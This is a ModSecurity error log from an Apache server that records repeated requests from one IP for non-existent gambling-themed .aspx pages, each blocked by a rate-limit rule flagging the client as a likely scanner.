[Sun Mar 08 17:22:44.471983 2026] [:error] [pid 22790:tid 22891] [client 217.182.194.26:36280] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aa0_5BXbGDWrzD_dTOfNhwAAA8k"]
[Sun Mar 08 17:22:47.115867 2026] [:error] [pid 22667:tid 22718] [client 217.182.194.26:36292] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa0_5-G7qk1roo-TRWOXRgAAAk0"]
[Sun Mar 08 17:23:09.669192 2026] [:error] [pid 22667:tid 22716] [client 217.182.194.26:36302] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aa0__eG7qk1roo-TRWOXZAAAAks"]
[Sun Mar 08 17:23:12.340919 2026] [:error] [pid 22669:tid 22773] [client 217.182.194.26:58170] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aa1AAGvqAhy8LIaua-p4aQAAAs4"]
[Sun Mar 08 17:23:14.940211 2026] [:error] [pid 22786:tid 22814] [client 217.182.194.26:41880] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aa1AAnPuJewMN2jPbdXOEwAAAw0"]
[Sun Mar 08 17:23:17.394432 2026] [:error] [pid 22788:tid 22867] [client 217.182.194.26:41882] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aa1ABUhwluk21OG9mSfv4gAAA4w"]
[Sun Mar 08 17:23:20.005996 2026] [:error] [pid 22790:tid 22885] [client 217.182.194.26:41894] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aa1ACBXbGDWrzD_dTOfNyQAAA8M"]
[Sun Mar 08 17:23:22.445189 2026] [:error] [pid 22788:tid 22872] [client 217.182.194.26:41908] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa1ACkhwluk21OG9mSfv7QAAA5E"]
[Sun Mar 08 17:23:25.014652 2026] [:error] [pid 22786:tid 22817] [client 217.182.194.26:46396] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa1ADXPuJewMN2jPbdXOJQAAAxA"]
[Sun Mar 08 17:23:27.514950 2026] [:error] [pid 22788:tid 22861] [client 217.182.194.26:46402] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa1AD0hwluk21OG9mSfv9gAAA4Y"]
[Sun Mar 08 17:23:29.972852 2026] [:error] [pid 22669:tid 22776] [client 217.182.194.26:46410] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa1AEWvqAhy8LIaua-p4bwAAAtE"]
[Sun Mar 08 17:23:32.470180 2026] [:error] [pid 22788:tid 22859] [client 217.182.194.26:46424] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aa1AFEhwluk21OG9mSfv_QAAA4Q"]
[Sun Mar 08 17:23:34.879154 2026] [:error] [pid 22786:tid 22811] [client 217.182.194.26:45936] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aa1AFnPuJewMN2jPbdXOOwAAAwo"]
[Sun Mar 08 17:23:37.433962 2026] [:error] [pid 22787:tid 22828] [client 217.182.194.26:45938] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aa1AGUF9MGMhk9pT4z77OQAAA0A"]
[Sun Mar 08 17:23:39.978258 2026] [:error] [pid 22668:tid 22739] [client 217.182.194.26:45946] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aa1AG-mzLHpblwnQgPgJxwAAAoc"]
[Sun Mar 08 17:23:42.547469 2026] [:error] [pid 22786:tid 22802] [client 217.182.194.26:45956] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aa1AHnPuJewMN2jPbdXORgAAAwE"]
[Sun Mar 08 17:23:45.138251 2026] [:error] [pid 22669:tid 22764] [client 217.182.194.26:56952] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aa1AIWvqAhy8LIaua-p4dAAAAsU"]
[Sun Mar 08 17:23:47.767229 2026] [:error] [pid 22669:tid 22768] [client 217.182.194.26:56960] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aa1AI2vqAhy8LIaua-p4eAAAAsk"]
[Sun Mar 08 17:23:50.348557 2026] [:error] [pid 22786:tid 22821] [client 217.182.194.26:56970] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa1AJnPuJewMN2jPbdXOUQAAAxQ"]
[Sun Mar 08 17:23:52.842563 2026] [:error] [pid 22786:tid 22809] [client 217.182.194.26:56982] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa1AKHPuJewMN2jPbdXOXQAAAwg"]
[Sun Mar 08 17:23:55.174756 2026] [:error] [pid 22786:tid 22819] [client 217.182.194.26:52816] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aa1AK3PuJewMN2jPbdXOYwAAAxI"]
[Sun Mar 08 17:23:57.578857 2026] [:error] [pid 22786:tid 22816] [client 217.182.194.26:52818] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aa1ALXPuJewMN2jPbdXObgAAAw8"]
[Sun Mar 08 17:24:00.108542 2026] [:error] [pid 22786:tid 22812] [client 217.182.194.26:52824] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aa1AMHPuJewMN2jPbdXOeQAAAws"]
[Sun Mar 08 17:24:02.396252 2026] [:error] [pid 22787:tid 22836] [client 217.182.194.26:52840] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa1AMkF9MGMhk9pT4z77SgAAA0g"]
[Sun Mar 08 17:24:04.957793 2026] [:error] [pid 22786:tid 22814] [client 217.182.194.26:37222] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aa1ANHPuJewMN2jPbdXOkAAAAw0"]
[Sun Mar 08 17:24:25.805349 2026] [:error] [pid 22667:tid 22708] [client 217.182.194.26:37232] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aa1ASeG7qk1roo-TRWOXrwAAAkM"]
[Sun Mar 08 17:24:28.132948 2026] [:error] [pid 22786:tid 22809] [client 217.182.194.26:51460] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aa1ATHPuJewMN2jPbdXOzgAAAwg"]
[Sun Mar 08 17:24:30.478918 2026] [:error] [pid 22786:tid 22801] [client 217.182.194.26:51462] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aa1ATnPuJewMN2jPbdXO1wAAAwA"]
[Sun Mar 08 17:24:32.807785 2026] [:error] [pid 22786:tid 22820] [client 217.182.194.26:51472] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aa1AUHPuJewMN2jPbdXO6AAAAxM"]
[Sun Mar 08 17:28:51.785454 2026] [:error] [pid 43671:tid 43746] [client 217.182.194.26:55996] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aa1BU66AdwroU1gT3XGdmQAAAFc"]
[Sun Mar 08 17:28:54.148182 2026] [:error] [pid 22667:tid 22712] [client 217.182.194.26:38344] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aa1BVuG7qk1roo-TRWOYoQAAAkc"]
[Sun Mar 08 17:28:56.473246 2026] [:error] [pid 22561:tid 22578] [client 217.182.194.26:38350] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aa1BWMIVn0KLevwXc5FG_gAAAU0"]
[Sun Mar 08 17:28:58.976841 2026] [:error] [pid 22787:tid 22836] [client 217.182.194.26:38366] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aa1BWkF9MGMhk9pT4z78HgAAA0g"]
[Sun Mar 08 17:29:01.470995 2026] [:error] [pid 22786:tid 22823] [client 217.182.194.26:38372] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aa1BXXPuJewMN2jPbdXRmgAAAxY"]
[Sun Mar 08 17:29:03.803666 2026] [:error] [pid 22786:tid 22808] [client 217.182.194.26:54020] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aa1BX3PuJewMN2jPbdXRpQAAAwc"]
[Sun Mar 08 17:29:06.146748 2026] [:error] [pid 22668:tid 22737] [client 217.182.194.26:54026] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aa1BYumzLHpblwnQgPgKWAAAAoU"]
[Sun Mar 08 17:29:08.670110 2026] [:error] [pid 22788:tid 22866] [client 217.182.194.26:54036] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aa1BZEhwluk21OG9mSfyAAAAA4s"]
[Sun Mar 08 17:29:11.143153 2026] [:error] [pid 22787:tid 22835] [client 217.182.194.26:54050] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aa1BZ0F9MGMhk9pT4z78NQAAA0c"]
[Sun Mar 08 17:29:13.531991 2026] [:error] [pid 22786:tid 22809] [client 217.182.194.26:55328] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aa1BaXPuJewMN2jPbdXRqwAAAwg"]
[Sun Mar 08 17:29:15.864309 2026] [:error] [pid 22786:tid 22824] [client 217.182.194.26:55344] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aa1Ba3PuJewMN2jPbdXRxQAAAxc"]
[Sun Mar 08 17:29:18.267133 2026] [:error] [pid 22561:tid 22570] [client 217.182.194.26:55354] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aa1BbsIVn0KLevwXc5FHCwAAAUU"]
[Sun Mar 08 17:29:20.776444 2026] [:error] [pid 22786:tid 22816] [client 217.182.194.26:55366] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aa1BcHPuJewMN2jPbdXRzQAAAw8"]
[Sun Mar 08 17:29:23.248343 2026] [:error] [pid 22786:tid 22819] [client 217.182.194.26:34238] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aa1Bc3PuJewMN2jPbdXR1wAAAxI"]
[Sun Mar 08 17:29:25.679609 2026] [:error] [pid 22786:tid 22825] [client 217.182.194.26:34252] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aa1BdXPuJewMN2jPbdXR3gAAAxg"]
[Sun Mar 08 17:29:28.175883 2026] [:error] [pid 22786:tid 22821] [client 217.182.194.26:34254] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aa1BeHPuJewMN2jPbdXR5AAAAxQ"]
[Sun Mar 08 17:29:30.553407 2026] [:error] [pid 22786:tid 22817] [client 217.182.194.26:34268] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aa1BenPuJewMN2jPbdXR8AAAAxA"]
[Sun Mar 08 17:29:32.939140 2026] [:error] [pid 22786:tid 22813] [client 217.182.194.26:34276] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aa1BfHPuJewMN2jPbdXR-gAAAww"]
[Sun Mar 08 17:29:35.262304 2026] [:error] [pid 22667:tid 22722] [client 217.182.194.26:57724] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aa1Bf-G7qk1roo-TRWOY6gAAAlE"]
[Sun Mar 08 17:29:37.770167 2026] [:error] [pid 22787:tid 22837] [client 217.182.194.26:57734] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aa1BgUF9MGMhk9pT4z78aQAAA0k"]
[Sun Mar 08 17:29:40.107359 2026] [:error] [pid 22787:tid 22847] [client 217.182.194.26:57738] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aa1BhEF9MGMhk9pT4z78awAAA1M"]
[Sun Mar 08 17:29:42.590021 2026] [:error] [pid 22788:tid 22859] [client 217.182.194.26:57754] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aa1Bhkhwluk21OG9mSfyOgAAA4Q"]
[Sun Mar 08 17:29:45.047357 2026] [:error] [pid 22788:tid 22874] [client 217.182.194.26:50400] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aa1BiUhwluk21OG9mSfyQgAAA5M"]
[Sun Mar 08 17:29:47.543841 2026] [:error] [pid 22786:tid 22824] [client 217.182.194.26:50402] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aa1Bi3PuJewMN2jPbdXSGQAAAxc"]
[Sun Mar 08 17:30:08.427260 2026] [:error] [pid 22786:tid 22815] [client 217.182.194.26:50418] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aa1BoHPuJewMN2jPbdXSPAAAAw4"]
